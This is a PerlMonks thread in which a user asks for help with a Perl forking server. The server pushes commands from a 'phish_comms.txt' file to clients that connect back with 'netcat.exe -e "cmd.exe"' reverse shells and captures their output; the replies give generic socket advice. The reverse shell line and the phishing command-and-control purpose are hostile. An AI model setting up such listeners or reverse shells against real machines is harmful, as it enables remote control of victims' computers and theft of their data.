carric has asked for the wisdom of the Perl Monks concerning the following question:

I have a script that is 99% there, but I am stuck at trying to get output from the client the way I want. What I see right now is this (this is one connection using telnet 'telnet localhost 8888', and one using a netcat listener with the syntax 'netcat.exe -e "cmd.exe" server 8888'):
$ perl pre-forker2.pl -p 8888 Server pre-forker2.pl listening on port "8888" and logging to file "ph +isher.log" on Tue Jan 17 11:59:59 2006 [Connect from localhost] microsoft quit [Connect from DARKMAN] Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. E:\>ipconfig /all
Basically, what I eventually want to do is send commands to a netcat listener that has connected to me, and capture all it's output. Here is my sub for the client accept piece:

sub make_new_child { my $pid; my $sigset; # block signal for fork $sigset = POSIX::SigSet->new(SIGINT); sigprocmask(SIG_BLOCK, $sigset) or die "Can't block SIGINT for fork: $!\n"; die "fork: $!" unless defined ($pid = fork); if ($pid) { # Parent records the child's birth and returns. sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; $children{$pid} = 1; $children++; return; } else { # Child can *not* return from this subroutine. $SIG{INT} = 'DEFAULT'; # make SIGINT kill us as it did befor +e # unblock signals sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; # handle connections until we've reached $MAX_CLIENTS_PER_CHIL +D for (my $i=0; $i < $MAX_CLIENTS_PER_CHILD; $i++) { my $client = $server->accept(); # Set up vars for commands, and make sure the # @commands array is empty to start my @commands = (); my $command; # import commands we want to execute on remote client open( CMDFH,"<phish_comms.txt"); @commands = <CMDFH>; close CMDFH; chomp @commands; $client->autoflush(1); my $hostinfo = gethostbyaddr($client->peeraddr); printf "[Connect from %s]\n", $hostinfo->name || $client->pe +erhost; while ( <$client> ) { next unless /\S/; # blank line if (/quit|exit/i) { last; } elsif (/test/i) { print $client "Test yourself..\ +n"; } elsif (/microsoft/i) { ## print list of commands to cl +ient foreach $command(@commands) { print $client "$command\015\012"; } } else { last; }; } continue { } close $client; }


I tried various things like a "print" statment at the beginning of the sub, and additional "while" statements after each command was sent, but when I telnet to it or sniff the connections, I see all three commands I'm pushing (ipconfig /all, set, exit; you can just put them in a txt file called "phish_cmds.txt" in the dir where you are executing this script. With some of the stuff I have tried I can see the output of 'ipconfig' when I sniff the connectdion, but it stops there, and doesn't continue to the "set" and the "exit" like it's waiting for a carriage return or something. As is, all I see is the client echo back the "ipconfig /all" statement with no output from the command itself. This code is straight out of the example from the perlipc docs with minor mods for my purposes.

Next thing I'm going for is how to get it to log all this stuff to a file. I have been reading up on the file access section of the cookbook, but I'm not yet sure what I want to do so I don't get the output from one connection mixed in with another.

If I need to post the whole script, just let me know. I am posting just the sub for brevity.

Thank you in advance.

Replies are listed 'Best First'.
Re: IO::Socket Bi-directional comm
by zentara (Cardinal) on Jan 18, 2006 at 14:05 UTC
    Since no one else has answered you, I will, so you won't feel like you are being ignored. You are not, it's just that the question demands too much from the reader.

    First, you probably would get more answers if you were using Perl for doing your socket work, rather than netcat and telnet. Not many monks use that combination.

    Second, your question is vague, at least to me. It seems like you are saying "it dosn't work and I don't know why, and here is a partial snippet of some complex forking code". You really should post a complete snippet that does ( or dosn't work) and point out where you need changes. Try to limit the snippet to only show the problem, and make it workable, so others can test it.


    I'm not really a human, but I play one on earth. flash japh
      I appreciate your feedback.

      I realize one side of this problem isn't Perl, but what I was aiming for with my question was if someone else had some example code (client/server) that would demonstrate more two-way communication. I didn't post the whole thing, because my sub was only somewhat modified from the original example in the perlipc docs for the calc server. If you look at the IO::Socket, multi-threaded example, that IS my script. I just don't need a calculator server. =)

      My daemon needs to accept a connection, and then print all of the command output from the client to a log file (taking the multi-threaded facet into consideration).

      So, to summarize, I am asking if someone has some good sample code showing:

      1. Client makes a connection to server
      2. Server prints stuff to client socket
      3. The results of that input to the client (the client output) is captured by the server.


      Again, thank you for responding to my post. =) I apologize for not being more clear the first time.
        Check out Sockets-File-Upload with Net::EasyTCP. It carries on a dialog between client and server, and saves a file. It could easily be extended/modified to do what you want. The only drawback to using Net::EasyTCP is that it uses IO::Select to handle multiple connections. (as opposed to forking or threading). This means that one long connection to a client will block connections from other clients, so it will be good if the exchanges are relatively short.

        Also check out ztk-enchat encrypted server client for a Tk gui version doing chat, in case you want a gui.

        These are just my old code, others may have better code examples suited to your purpose. Net::EasyTCP is nice to use, because it lets you have password-protected ports, automatic encryption, and it will stingify hashes for you, so you can actually pass hashes of data through the socket.


        I'm not really a human, but I play one on earth. flash japh